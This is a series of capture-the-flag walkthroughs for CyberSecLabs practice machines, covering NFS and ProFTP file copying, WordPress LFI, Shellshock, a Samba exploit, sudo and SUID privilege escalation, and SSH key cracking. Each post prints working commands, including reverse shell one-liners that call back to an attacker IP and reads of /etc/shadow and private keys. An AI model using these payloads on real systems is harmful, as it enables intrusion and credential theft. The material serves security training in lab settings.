CyberSecLabs “Outdated” Walkthrough

CyberSecLabs

Outdated is a beginner level box from CyberSecLabs hosting an NFS share and an outdated version of FTP. After using built-in ProFTP commands to copy files we’ll get our first shell. From there we enumerate the kernel and find an exploit.

Outdated’s IP Address is 172.31.1.22.

Fire up the VPN, let’s get started.

Scanning and Enumeration

As usual we start with a Nmap scan of the target with the following flags.

-sC – run default scripts
-sV – enumerate service version

nmap -sC -sV 172.31.1.22

The Nmap scan results show us a handful of open ports including:
FTP on 21, SSH on 22, RPC on 111 and a NFS share on 2049.

Based on the Nmap results I want to investigate the open NFS share on port 2049. I’d say if you have an open share check that out first.

Use the showmount command to display the name of the share on port 2049. We see that’s its a folder called /var/nfsbackups/.

The next step for investigating a NFS share is to mount the share locally on your attack machine.

showmount -e 172.31.1.22
mount -t nfs 172.31.1.22:/var/nfsbackups/ /root/CSL/Outdated/Mnt/

The share is now mounted on my local machine. It appears we have a backup of three different user’s folders. Simply use LS to list all the files in those folders and we see the folders are empty.

ls -al Mnt/anna/
ls -al Mnt/daniel/
ls -al Mnt/robert/

The NFS share was a dead end. Nothing there that will help us move forward on this box. What now?

We go back to our initial Nmap scans and enumerate another port or service.

Looking at the Nmap scan I see that we have a specific version of FTP running on port 21. ProFTP 1.3.5. When you find a service/version on a open port its worth looking for available exploits.

Seachsploit is the way to do this easily from the terminal.

searchsploit -w proftp 1.3.5

There’s a few exploits available. One Metasploit module and two remote exploits. Let’s take a peek at the exploit code for 36803.

It’s a python script and its making a connection to the server on port 21. If we scroll down into the meat of the code, we see that it attempts to copy the /etc/passwd file to a location of your choosing.

Viewing exploit code – exploit-db.com/exploits/36803

This is important. While this exploit won’t fit our needs exactly, we can learn and utilize pieces of this code to our advantage. If we can connect to port 21 on the target we can use ProFTP commands to copy files from the target.

Netcat can be used to make connections to a target IP address and port. I use the site help command to verify I have the correct commands to copy and paste. The important piece here is not what you are attempting to copy, but where you will paste the file. What’s the most logical choice and place we already have access to? /var/nfsbackups.

nc 172.31.1.22 21
site help
site cpfr /etc/passwd
site cpto /var/nfsbackups/passwd

As a proof of concept we attempt to copy the /etc/passwd file. While we won’t get the password hashes (those are stored separately in the /etc/shadow file, we can learn some useful information from /etc/passwd.

Cat out the contents of /etc/passwd. The only user with /bin/bash is Daniel. Which means this is the account we will utilize to get access to the target.

ls -al Mnt/
cat Mnt/passwd

Exploitation

Our proof of concept was successful so let’s take that idea and use it to copy files that will help us gain access to the box.

Thinking back to our original Nmap scan results. We have SSH open on 22. Daniel is a user that has the ability to login to the target. That means we can copy his home directory and then use his RSA private key to SSH into the box as Daniel.

Follow the same steps as before but this time copy the Daniel’s home folder to /var/nfsbackups/daniel.

nc 172.31.1.22
site cpfr /home/daniel/
site cpto /var/nfsbackups/daniel

The copy shows successful, but let’s confir.

ls -la Mnt/daniel/

Now we see the contents of Daniel’s home folder. The RSA private keys are stored in a hidden folder called .ssh.

All we need to do is use the id_rsa file to SSH into the target.

cd Mnt/daniel/.ssh/
ls
ssh -i id_rsa daniel@172.31.1.22

Success. We used Daniel’s RSA private key to SSH into this box and we have a bash prompt as the Daniel user.

Privilege Escalation

We have access to the target as the user Daniel. Daniel is low privileged user so we will need to escalate ourselves to root. To enumerate this box we will use LinPEAS from the Privilege Escalation Awesome Suite.

I’ll use wget to transfer LinPEAS to the target. Just need to spin up a python simple web server to host the file.

python -m SimpleHTTPServer 80

With LinPEAS.sh transferred to the target we just need to chmod the file permissions to allow it to be executed. After that’s complete go ahead and run LinPEAS.

ls
chmod +x linpeas.sh
./linpeas.sh

Before we get into the LinPEAS output let’s take a look at the Legend. This is important to be aware while reviewing the output and its easy to skip over. If we see something in RED/YELLOW its almost certainly a privilege escalation vector and worth investigating.

LinPEAS Legend

I’ll save some time here while reviewing this output. At the very top of the results we have the Basic info section. If you’ll notice we have a RED/YELLOW highlight on the Linux Kernel version which is 3.13.0.

Basic Info Section of LinPEAS output

I’ll use Searchsploit to do a quick search on that kernel version.

searchsploit 3.13.0

We have a match on the Kernel version. The kernel exploit known as “overlayfs”. If we search around a bit we can find a pre-compiled version of this exploit. You find it here.

Download the ofs_64 file and transfer it to the target. I’ll use wget and a python web server again to facilitate the file transfer.

python3 -m http.server 80

Confirm the file transferred successfully and give it permissions to execute with chmod. Now we are ready to launch the kernel exploit.

ls
chmod +x ofs_64
ls -la

Run the exploit. You’ll return a blank prompt. If we run whoami we see that we are now root.

./ofs_64
whoami

Capture the Flags!

All that’s left is to capture the flags and submit the hashes.

cat /root/system.txt
cat /home/daniel/access.txt

There it is. Outdated from CyberSecLabs. A great box that shows us how to abuse the built in features of ProFTP combined with an exposed NFS share. This is also the first box from CyberSecLabs where we’ve used a kernel exploit for privilege escalation.

CyberSecLabs – “CMS” Walkthrough

CyberSecLabs

CMS from CyberSecLabs is a beginner level box hosting a WordPress installation. Using a file inclusion vulnerability we’ll gain access to the target, and exploit weak sudo permissions to escalate to root.

Let’s get started.

The IP Address for CMS is 172.31.1.8

Scanning and Enumeration

As always we run our Nmap scan against the target with -sC for default scripts, -sV for enable service enumeration, -p- to scan all TCP ports.

nmap -sC -sV -p- 172.31.1.8

Only two open ports on the target. Port 22 running SSH and port 80 hosting a HTTP web server. When we see this on a pentest or capture the flag, port 80 is almost always the initial entry point.

Next, I’ll run Nitko against the target to scan the web server.

nikto -h 172.31.1.8

Nothing actionable here other than confirming a WordPress installation. Let’s move on to directory busting.

gobuster dir –wordlist /usr/share/wordlists/dirb/big.txt –url 172.31.1.8

Again, we don’t find anything interesting, other than a couple WordPress pages.

Nikto and Gobuster didn’t provide us with any actionable information. We need to dig deeper and enumerate the web server. Which happens to be a WordPress site, let’s use….

WPScan – WordPress Security Scanner

WPScan is a WordPress vulnerability scanner that helps enumerate plugins, themes, and other information about WordPress installations. Let’s run this against the target web server.

WPScan with default options will generate a list of theme’s, and plugins to enumerate. It also points out which versions are out of date.

Here we see a plugin identified. I’m not familiar with this specific plugin, so I’ll do a quick Searchsploit to see if it has any known vulnerabilities.

wpscan –url 172.31.1.8

Searchsploit will search the local Exploit-DB repository on your Linux box. Provided you’ve updated the Searchsploit database, what you see here are the same results you’ll find on the Exploit-DB website.

We find an exploit for the WP with Spritz plugin. Our version also matches, so now we have a vulnerability to exploit.

searchsploit -w wp with spritz

Exploitation

We have a vulnerable WordPress plugin named WP-with-Spritz. Our exploit is a Remote File Inclusion vulnerability as stated in the title. However, if you look at the code we have two working POC’s. One Remote file inclusion, and one for Local file inclusion. Which one do we use to exploit?

File Inclusion Vulnerabilities

LFI or Local File Inclusion vulnerabilities allow the attacker to read and sometimes execute files on the target machine.

RFI or Remote File Inclusion vulnerabilities are easier to exploit but less common. Instead of accessing a file on the target system, the attacker is able to execute code hosted on their own machine.

Now we’ve got a primer on file inclusion vulnerabilities so let’s continue. Essentially, we’re manipulating the URL address into displaying local files on the target. The POC provided in the exploit will grab the /etc/passwd file. Since this file is readable by all users on a Linux system, this is a great way to test the vulnerability.

I navigate to the following URL and then right click and select “View Source”. This will provide the formatting associated with the file.

http://172.31.1.8//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd

http://172.31.1.8//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd

Pause for a moment and think back to our initial Nmap scan. Two ports open. One is the web server, and the other is SSH. That means we could probably find a user with a private key that might allow us to connect to the target over SSH.

On a Linux system private SSH keys are stored in the user’s home folder under .ssh. If we peak at the /etc/passwd file you notice the only other user account besides root is the “angel” account. That’s our user.

Modify our URL address path to /home/angel/.ssh/id_rsa in your browser and go. Again to format the file, right click and select “View Source”.

http://172.31.1.8//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//home/angel/.ssh/id_rsa

Copy the private key into a file named id_rsa. Then chmod on the file to allow us to execute it.

Now we’ll use the private key inside the id_rsa file to connect to the target over SSH as the angel user.

chmod 700 id_rsa
ssh -i id_rsa angel@172.31.1.8

Success! We are now logged into the target as Angel.

Privilege Escalation

You’ve gained access to a Linux system as a low privileged user. What’s the first thing you do?

Check Sudo Permissions. The easiest and quickest win on a Linux system can be found by running Sudo -L.

This will show you what commands can be run under the Root account without a password, by the current user.

sudo -l

This is the holy grail for Sudo permissions. If you ever find a user who can run (ALL : ALL) NOPASSWD: ALL, you can immediately own that box and become root.

Again, whatever command we run will be run under the Root account. All we have to do is spawn a bin/bash shell as the root user. Boom. Done. It’s that easy.

sudo -l
sudo /bin/bash

Capture the flags!

Don’t forget to capture your flags and complete the box.

cat /home/angel/access.txt
cat /root/system.txt

That is CMS from CyberSecLabs. An excellent beginner box that demonstrates how to exploit a file inclusion vulnerability to gain initial access to the target. Once we got our low privileged user, we used a simple Sudo command to spawn a root shell. Always, always, always check those Sudo permissions. That is easiest and quickest way to score a win on Linux.

CyberSecLabs – “Shares” Walkthrough

CyberSecLabs

Shares from CyberSecLabs is a interesting beginner box in that there’s very little actual exploitation. No reverse shells, no payloads and we also won’t be using any automated tools for enumeration during privilege escalation. What we will be doing is taking advantage of a open share containing a user’s home directory with everything that entails. We’ll get to root by abusing Sudo permissions two different ways.

Let’s get started.

Shares IP address is 172.31.1.7. Connect to the VPN and ping your target to verify connectivity.

Scanning and Enumeration

As usual I’ll start with a Nmap scan of the target. Here I’m scanning with -sC for default scripts, -sV for service enumeration, and -p- to scan all 65535 TCP ports.

nmap -sC -sV -p- 172.31.1.7

Nmap scan results show a handful of open ports. FTP is open, but we need a password. Port 80 is hosting a web server, and we have RPC on port 111. Next we jump to port 2049 which is hosting a NFS file share. Interesting. Then we have SSH on port 27853 which is also very interesting. After that we have some higher level ports I don’t recognize, and I’ll ignore them for now.

I’ll start by examining the file share that’s being hosted on 2049.

showmount -e 172.31.1.7

Showmount reveals a mounted home directory for a “amir” user. Now we can mount that directory to our local machine and explore the files on the share. I’ll do that using the mount command, NFS for the type of share, followed by the IP address of the target with the path, and the local path where the share will be mounted on our local machine.

After mounting the share I ls -la to reveal all hidden files and folders. Here we see the contents of the user’s home folder. We even have the .ssh folder which hopefully contains a private key we can utilize.

mount -t nfs 172.31.1.7:/home/amir/ /root/CSL/Shares/Mnt/Shares
ls -la

Change directory into the .ssh folder and we see exactly what we hoped. Private SSH keys! Now if you pay attention to the permissions on the left, we can only read one of those files id_rsa.bak.

cd .ssh
ls -la

Let’s take a peek at id_rsa.bak, and unsurprisingly we see it’s a RSA private key. Next we’ll try and use this key to connect to SSH.

cat id_rsa.bak

I copy the id_rsa.bak file into my Shares working directory. Chmod to give the file permissions so we can make it useful. Then attempt to connect to the target over SSH as Amir using the private key.

cp /root/CSL/Shares/Mnt/Shares/.ssh/id_rsa.bak .
chmod 700 id_rsa.bak
ssh -i id_rsa.bak amir@172.31.1.7 -p 27853

As you’ll notice above, we are prompted for a password for Amir. Which we don’t have…. yet.

Exploitation

We need a password to SSH to the box as Amir. How do we get it? Since we have the RSA private key, we can utilize a tool included with John the Ripper aptly called “ssh2john”.

Ssh2john will extract the hash from the SSH private key, and what do we do with hashes? That’s right, we crack them.

locate ssh2john
/usr/share/john/ssh2john.py id_rsa.bak

Run ssh2john again, and this time redirect the output to a new file called hash. Then run John the ripper with a specified wordlist against the hash file. I’m using the go-to rockyou.txt wordlist. If you aren’t sure which wordlist to use when doing capture the flag style boxes, I would recommend starting with rockyou.txt.

/usr/share/john/ssh2john.py id_rsa.bak > hash
john –wordlist=/usr/share/wordlists/rockyou.txt hash

It took almost no time to crack the hash. Very simple password which we see in the John the Ripper output.

Same as before. Connect to the target over SSH as Amir. Enter the password when prompted. Now we have access to the target system.

Privilege Escalation

We have access to the target now as a low privileged user named Amir. We already know the target is a Linux system. Like I mentioned we won’t be using any tools to automate the enumeration process for us.

So where do we start? Well the best place to start in my opinion for a Linux system would be checking what Sudo permissions the user has. That’s the low hanging fruit. A lot of the time we can score a quick win if we have Sudo permissions on a file or command.

sudo -l

Above we see that the Amir user has the ability to run two binaries as the user Amy. One being python3 and pkexec.

First thing we do when we find binaries listed under Sudo, is we look them up on GTFO bins. Lookup python3 and you’ll see we have a Sudo option.

sudo python -c 'import os; os.system("/bin/sh")'

This python command will spawn a /bin/sh shell for us. We can tweak it just a bit, by adding /bin/bash and now it will spawn a bash shell. We’re ready to go now, run the command and specify the user as amy.

sudo -u amy /usr/bin/python3 -c ‘import os; os.system(“/bin/bash”)’
whoami
sudo -l

Boom. We have spawned a bash shell and become the Amy user. Rinse and repeat. Let’s check her Sudo permissions. We see above she also has a binary listed, this time /usr/bin/ssh.

Go back to GFTO bins and let’s find another way to exploit this binary. Of course we find a Sudo option listed for this binary.

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

There’s the command above, and this will spawn a interactive shell as root. I run the command as is and you’ll notice that we do indeed get a root prompt. However, its the basic sh prompt #. If we tweak this command by also spawning a bash shell, we will get a nice Root@Shares prompt.

sudo ssh -o ProxyCommand=’;sh 0<&2 1>&2′ x
whoami
exit
sudo /usr/bin/ssh -o ProxyCommand=’;bash 0<&2 1>&2′ x

Capture the Flags!

cat /home/amy/access.txt
cat /root/system.txt

There you go. Shares from CyberSecLabs. A interesting beginner box, that really enforces some good habits to get into while pentesting or doing capture the flag scenarios. You learn a couple cool tricks on how to work with mounted network shares, and how to reverse a SSH Private key into a hash and then crack it. Lastly we learned to check Sudo permissions first, and always always look them up on GTFO bins for a quick win.

CyberSecLabs – “Unroot” Walkthrough

CyberSecLabs

Unroot from CyberSecLabs is a beginner Linux box hosting a web server with a hidden ping-test page which we’ll exploit to get our initial low priv shell. For privilege escalation we will use a very simple Sudo exploit to get root.

Let’s get started.

Unroot’s IP Address is 172.31.1.17. Connect to the VPN and ping the target to verify connectivity.

Scanning and Enumeration

As usual we start with a simple Nmap scan of the target. Here I have -sC to run default scripts, and -sV to enumerate services.

nmap -sC -sV 172.31.1.17

Our Nmap output shows us we have two open ports. One being SSH on port 22, and we have HTTP on port 80. Additionally port 80 shows its running Apache and a phpmyadmin page.

Let’s explore port 80 further with directory busting. I’ll use a tool called GoBuster which is easy to use and efficient at searching for hidden directories. You’ll need a wordlist to use with Gobuster along with specifying extensions to search for. In this case I’m using the big.txt wordlist included on Kali Linux, and searching for directories and pages with the php extension since we already know the web server is hosting php.

gobuster dir –wordlist /usr/share/wordlists/dirb/big.txt –url 172.31.1.17 -x php

Gobuster revealed multiple pages and directories. Now you could go through these results one by one until you find something juicy. Let’s run another tool and see if it helps us narrow down that list. I run Nitko web scanner on any open HTTP ports I find and this target is no different.

nikto -h 172.31.1.17

Nikto found two interesting directories, /doc and /dev. Both have directory indexing enabled which allows us to navigate via a web browser. /Doc is usually a directory for… You guessed it documentation and manuals. /Dev sounds like it could be useful to us, let’s explore it further.

First I navigate to the target’s IP address and find a PhpMyAdmin login page. With any beginner box you might as well try a few common default passwords at a login prompt. You never know what might work. In this case, I couldn’t score a easy win with a username/password of admin/admin or anything else I tried. No worries.

172.31.1.17

Now I navigate to the /Dev directory, and we find the helpful index with a couple of pages. Info.php will show us all the php info and version information setup on this web server. That can be useful but you have to know what to look for and even then its not guaranteed to be exploitable or actionable. Next, we have ping-test.php. Ding ding ding. Red flag. This is something we can definitely exploit.

172.31.1.17/dev/

So this is a simple web page with a field to enter and run commands. It’s meant to be used to ping hosts on the network or confirm connectivity. However if it can execute the ping command, it might also allow us to run other commands.

172.31.1.17/dev/ping-test.php

Exploitation

We have a ping-test page with that allows us to execute commands from the target server. All we need now is a malicious command that will give us remote access to the target. This is otherwise known as a reverse shell one liner. Google will produce several cheat sheets for you to work through, lets go to one of the more well known and used cheat sheets from PentestMonkey.

We know the web server will execute php code so we can try out a php reverse shell one-liner. If you aren’t sure which one-liners to test out, you can always go down the list one by one until you get one that works.

php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’

Alternatively, I found this Netcat reverse shell one liner also worked on Unroot.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Start a Netcat listener on your favorite port and then execute the one liner on the ping-test page.

nc -lvnp 4321
whoami
python -c ‘import pty;pty.spawn(“/bin/bash”)’

You’ll get a reverse shell connection and notice this is a crappy basic shell and its somewhat limited. You could use python to spawn an interactive bash prompt. Or… If you could modify the one-liner to spawn a bash shell.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

nc -lvnp 4321

There we go, we have nice reverse shell prompt as the user “joe”.

Privilege Escalation

Unroot is another box where we don’t need to run automated tools like LinPEAS. The path for privilege escalation can be found utilizing one of the first commands I run when I get access to a Linux system.

Sudo -l

This reveals what sudo commands can be run by the current user. In this case “joe” is allowed to run ALL commands as any user except the root user. Well that’s disappointing. !root means not the root account.

What if this version of Sudo is vulnerable to an exploit that might help us? Do sudo –version to get the versioning info on Sudo. There we see Sudo version 1.8.16 is installed.

sudo -l
sudo –version

Searching through Exploit-DB you’ll see several potential exploits. Here I searched for Sudo 1.8. I didn’t include past the second decimal, you don’t want to be too specific while searching. You could miss an exploit that applies to your version while not being an exact version match. There are a lot of exploits that apply to all versions prior.

Exploit-DB results for “Sudo 1.8”

We have 7 possible exploits on Exploit-DB. You can go through each one of these and find the one that applies to our target.

Sudo 1.8.27 – Security bypass is the one that looks promising. Looking at the exploit code, we see this exploit allows a user to execute /bin/bash as the root user even when the Sudoers file specifically says we can’t do that. So why does that work? Here’s a quick explanation from the exploit code:

Sudo doesn't check for the existence of the specified user id and executes the command with an arbitrary user id with the sudo priv.
-u#-1 returns as 0 which is root's id

So if we execute /bin/bash and provide a bogus user id, Sudo will ignore our user id and instead use an arbitrary user with the sudo privilege. Therefore bypassing the check on the user ID and executing as root.

That’s a very simplified explanation, if you care to learn more there’s plenty of information available online around this exploit.

Simply run the following command.

sudo -u#-1 /bin/bash

This runs Sudo with -u specifying the user of -1 (which doesn’t exist) and executes /bin/bash (which spawns a bash prompt). You’ll get a root prompt and from there you can capture all the flags.

sudo -u#-1 /bin/bash
cat /home/joe/access.txt
cat /root/system.txt

That’s Unroot from CyberSecLabs. Really solid beginner Linux system which reinforces the basics of scanning and enumeration, exploitation and privilege escalation. Each step of the way its straightforward, and the only real challenge might be finding the priv esc path if you are new to pentesting.

CyberSecLabs – “Shock” Walkthrough

CyberSecLabs

Shock from CyberSecLabs is a beginner Linux box hosting a Apache web server. We’ll use Nikto to discover a Bash vulnerability that we can use to get a shell. To complete the box we’ll use some basic Linux privesc techniques to escalate to root.

The IP address for Shock is 172.31.1.3.

Scanning and Enumeration

I start out with Nmap scan with -sC for default scripts, -sV for service enumeration, and -p- to scan all 65535 TCP ports.

nmap -sC -sV -p- 172.31.1.3

We have FTP open on 21, SSH on 22, and a web server hosted on port 80.

FTP is a common initial attack vector, but in this case it doesn’t look like we have anonymous access. Usually SSH isn’t very interesting, its mostly used after we’ve already got our initial foothold. Let’s dig into the web server being hosted on port 80. I’ll use the Nikto web vulnerability scanner for this.

nikto -h 172.31.1.3

Nikto takes a while to complete but that’s because when run with default options it scans for over 7,000 known vulnerabilities.

Buried in the output we find a juicy bit of information. We have a page that is vulnerable to Shellshock! Hey, that makes sense since the box is named Shock.

Exploitation – Metasploit Route

We have a vulnerability now let’s find an exploit. I’ll start with Searchsploit to see what’s available for Shellshock.

searchsploit shellshock

There’s several exploits available including Metasploit modules. So fire up msfconsole and let’s do a search. This time I’ll search for the exact CVE number we discovered earlier with Nikto.

search CVE-2014-6278

I’ll start with the first exploit. This is the second one down in our search results, because the first is an auxiliary module which will not result in a shell.

use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS 172.31.1.3
set TARGETURI /cgi-bin/test.cgi
run
getuid

We receive a low privileged shell. We’ll need to escalate our privileges to get root on this system. You can skip ahead if you wish but I recommend trying the manual route.

Exploitation – Manual Route

So we’ve got a shell the easy way with Metasploit now let’s try and do it by exploiting Shellshock manually.

Before we get any further let’s understand how Shellshock works. I found this graphic from Symantec helpful.

Symantec – Shellshock

After some googling I landed on this post which provided a helpful walk through for testing and exploiting Shellshock.

The first part of the article explains how to test for the vulnerability. We’ll use a simple ping command executed after the environmental variable is setup, and the arbitrary command.

I’ll setup a Netcat listener on port 1234 and then use curl to craft the HTTP request.

curl -H ‘User-Agent: () { :; }; /bin/bash -c ‘ping -c 3 10.10.0.41:1234” http://172.31.1.3/cgi-bin/test.cgi

nc -lvnp 1234

Great we get a response from the web server. This indicates our command was executed successfully. Instead of the ping command let’s insert a bash reverse shell one liner. You can find plenty of reverse shell cheat sheets with this command.

Setup the netcat listener and then run the following command with curl to spawn a bash reverse shell.

curl -H ‘User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.0.41/1234 0>&1’ http://172.31.1.3/cgi-bin/test.cgi

nc -lvnp 1234
whoami

On our netcat listener we have a reverse shell as the www-data user.

Privilege Escalation

We have our initial low privileged shell. Now let’s see what’s available on this box to escalate our privileges and get root.

Normally, when you aren’t sure where to start on PrivEsc (Privilege escalation) you can always run automated tools to help you. LinPEAS is probably one of the best and most popular tools. But there are many others.

As a rule on any Linux system I get access to, I always check what SUDO permission that current user has. More often than not, if you run Sudo -l and you find a binary listed, that will be your method of escalation.

sudo -l

Here we see the www-data has SUDO permissions to run a binary called socat. I’m not that familiar with socat myself, but I know it has similar functionality to Netcat, in that we can use it to create connections between a port and an IP address. So how do we figure out how to use socat? Google of course!

If you haven’t already bookmarked this site. Please do. GTFOBins. Always, always, always lookup a binary you have permissions to on GTFO Bins.

There we find a way to abuse limited SUID privileges and create a reverse shell connection. Just modify the IP Address and port and run the command with sudo.

sudo socat tcp-connect:10.10.0.41:1234 exec:/bin/sh,pty,stderr,setsid,sigint,sane

sudo socat tcp-connect:10.10.0.41:1234 exec:/bin/sh,pty,stderr,setsid,sigint,sane

On our netcat listener we see the reverse shell connected.

nc -lvnp 1234
whoami
hostname

Now we have a shell as the root user. All that’s left is to capture the flags.

Capture the Flags!

cat /home/scott/access.txt
cat /root/system.txt

There you have it. Two methods for exploiting Shock from CyberSecLabs. I found the manual method to be a great way to learn how the bash vulnerability works and how to test for it. Privilege escalation wasn’t difficult but reinforced the basics you’ll need for any capture the flag type scenario.

CyberSecLabs – “Lazy” Walkthrough

CyberSecLabs

Lazy from CyberSecLabs is a quick and excellent beginner box that only requires a few skills to achieve root. Basic nmap scanning, service enumeration, and exploitation through Metasploit. No privilege escalation required, and it does have a lazy feel to it.

Lazy’s IP address is 172.31.1.1

Scanning

I start with a Nmap scan running default scripts, and service enumeration against the target’s IP address.

nmap -sC -sV 172.31.1.1

Nmap shows SSH, HTTP, and SMB ports open. SSH isn’t a typical entry point for most beginner boxes, its mostly used after you’ve either obtained credentials, or cracked a password hash. HTTP obviously hosts a web server, in this case Nginx 1.1.19. Lastly, we have the SMB ports of 139 and 445.

Service Enumeration

I start with checking out the Nginx web server on port 80.

172.31.1.1 – Nginx web server
Nothing much here.

Not much there to be honest. We could run Nikto, and further enumerate Nginx. Which I did and didn’t find anything interesting.

That leaves us with SMB. If you look back at the original nmap scan, in the Host-script results section. There we see the Samba version is 3.6.25.

I ran a nmap script to enumerate shares against the target. Which revealed a \home\Public share that we can read/write to with anonymous access enabled.

nmap -p 445 –script=smb-enum-shares.nse 172.31.1.1

Let’s confirm our Nmap results are accurate with Smbmap.

smbmap -u ” -p ” -H 172.31.1.1

Smbmap is making a connection with a “” or blank user and a blank password, which otherwise equals anonymous user access. In the Public folder we have Read/Write access. This confirms the Nmap script results.

Exploitation

I start by running Searchsploit for Samba 3.6.25. If you don’t get the same result, try updating the Searchsploit repository with the –update switch.

searchsploit samba 3.6.25

Awesome we have a Metasploit module. The ‘is_known_pipename’ exploit loads a hacked library file into a vulnerable samba server and provides a reverse shell. There are a few requirements for this module to work properly.

  • A writable samba share is required or valid credentials to a samba share that allows write access to the share.
  • Knowledge of the server side location path of the writable share.

We have a writable share, \home\Public and we know that we can access the share anonymous thus providing valid credentials. Given our Nmap, and Smbmap results we have satisfied all the requirements to run the exploit successfully.

Fire up msfconsole and search for “is_known_pipename”.

search is_known_pipename

Load the is_known_pipename module. Set the module parameters, in this case all that’s needed is the RHOSTS IP address.

use exploit/linux/samba/is_known_pipename
set RHOST 172.31.1.1
run
python -c ‘import pty;pty.spawn(“/bin/bash”)’

Run the exploit. The payload is uploaded to \\172.31.1.1\Public\ and shortly after a command shell session is opened. We’ve got our reverse shell.

It’s a crappy shell, just a blank cursor, the first thing we want to do is upgrade it and spawn python bash prompt. Always keep this command handy, or better yet memorize it.

python -c ‘import pty;pty.spawn(“/bin/bash”)’

Notice now we have nice root@lazy prompt!

Lazy AF

Capture all the flags!

cat /home/adam/access.txt
cat /root/system.txt

There you have it. Nice and easy. With only a couple of tools, and a few techniques we achieved root. Lazy and Eternal from CyberSecLabs are the boxes you should start with if you are new to pentesting or CTFs.

CyberSecLabs – “Debug” Walkthrough

CyberSecLabs

Debug from CyberSecLabs is a beginner level Linux machine hosting a website. We’ll start with basic web exploitation for initial access and then learn a useful Linux privilege escalation technique.

Ping your target to verify connectivity. Debug’s IP address is 172.31.1.5.

Scanning

As always, we start with a standard Nmap scan running default scripts, service enumeration enabled, and scanning all 65,535 ports.

nmap -sC -sV -p- 172.31.1.5

You can see in the output we only have two ports to work with. Port 22 hosting ssh services, and port 80 hosting a HTTP web server. This greatly reduces our initial attack surface.

If you haven’t spent a lot of time pentesting, I’ll share my experience looking for SSH exploits. Typically, I’ve found those mostly to be rabbit holes, leading nowhere. Version exploits for SSH do exist, but more often then not especially in CTFs, your probably heading in the wrong direction.

That leaves port 80, and a web server to exploit for our initial access. Browse out to the IP address of Debug, 172.31.1.5. Let’s take a look at the website.

Future Design website

Future Design’s website. We have a couple of pages, some filler text, not a lot there. I don’t see a login page, or anything interesting. Let’s dig a little deeper and see if there’s some hidden directories lurking behind this web server.

There’s several tools that you can use such as OWASP’s Dirbuster, Dirb, or Gobuster. Let’s use Gobuster.

gobuster dir –wordlist /usr/share/wordlists/dirb/big.txt –url 172.31.1.5

gobuster dir –wordlist /usr/share/wordlists/dirb/big.txt –url 172.31.1.5

Notice the two directories we didn’t see listed on the website. One being /console and the other /server-status. When I try and navigate to /server-status I get a 404 error message, indicating I don’t have access to the webpage.

Depending on your preference, and methodology, you could have revealed this hidden /console directory using Nitko web scanner.

nikto -h 172.31.1.5

Initial Access

Navigate to 172.31.1.5/console.

172.31.1.5/console reveals a Interactive Console that allows python code execution

Interesting! We have a interactive console that allows us to execute python commands. I bet we can abuse this feature to get a reverse shell.

Since we know this console can execute python commands, that makes finding the right one-liner easy. If you haven’t already, bookmark this site from PenTestMonkey. It’s a great starting place for testing reverse shell one-liners.

Scroll down until you see this Python one-liner.

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“LHOST”,LPORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

Since we are already inside a python console, remove the “python -c ‘” and the trailing comma at the end of the line. Make sure you’ve included your LHOST (local host) and a the LPORT (local port).

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.0.41”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);

To receive the python reverse shell we need a netcat listener on whichever port you specified in the one-liner. In this case, my port is 1234. With your netcat listener started, execute the python command from the console.

Sometimes the reverse shell works first try, on other occasions it takes several tries. If you don’t get a shell right away, be patient and execute the command until you do.

nc -lvnp 1234
python -c ‘import pty;pty.spawn(“/bin/bash”)’

We have a simple reverse shell running as the megan user. The first thing I want to do is spawn a TTY shell, which will give us the nice megan@debug prompt.

Privilege Escalation

What now? We need to enumerate the target system, by exploring files and services we can use or modify. This can be done manually, but there’s no reason to when automated tools and scripts will do the job for us.

I’ll be using LinPEAS as our automated privilege escalation tool. It’s part of the Privilege Escalation Awesome Scripts Suite. You can find it on Github.

Download LinPEAS.sh and fire up the Python SimpleHTTPServer on port 80 and we are ready to grab the file with wget.

python -m SimpleHTTPServer 80

I use wget to transfer the linpeas.sh file to the target and chmod to add the execute permission which we’ll need before running LinPEAS.

wget http://10.10.0.41/linpeas.sh
chmod +x linpeas.sh

Run LinPEAS.sh

LinPEAS
LinPEAS.sh output

LinPEAS will generate a lot of output. Under the Interesting Files section, I see a SUID binary highlighted. /usr/share/xxd has the SUID bit set, which will allow us to execute the binary with root level permissions since root is the file owner.

What is xxd? How do we use it? I’d never seen this binary before, so the first thing I did was look it up on GTFOBins. We have a SUID expoit.

XXD will allow us to read the contents of a file within the context of the root user account. What file do we already have on the system that requires root permissions to read? The /etc/shadow file if you aren’t familiar, contains all the actual password hashes for each user account on the system.

xxd /etc/shadow | xxd -r

Great, we have the password hash for the root account, and our low privileged user megan. Copy the hash into a new file, I named mine “hash”. Then use John the Ripper to crack the password using the massive rockyou.txt wordlist.

john –wordlist=/usr/share/wordlists/rockyou.txt hash

We have the actual root password, where do we use it? You might think back to our nmap and open ports. We do have SSH open, but not all accounts have SSH access setup. We need a way to become the root account and Linux has a built-in utility to switch the current user account to the root account.

su
Password
whoami

Notice after the su command and password is entered, our prompt changes context. It’s now a root@debug prompt instead of megan@debug. We’ve got root! Now we can capture all the flags.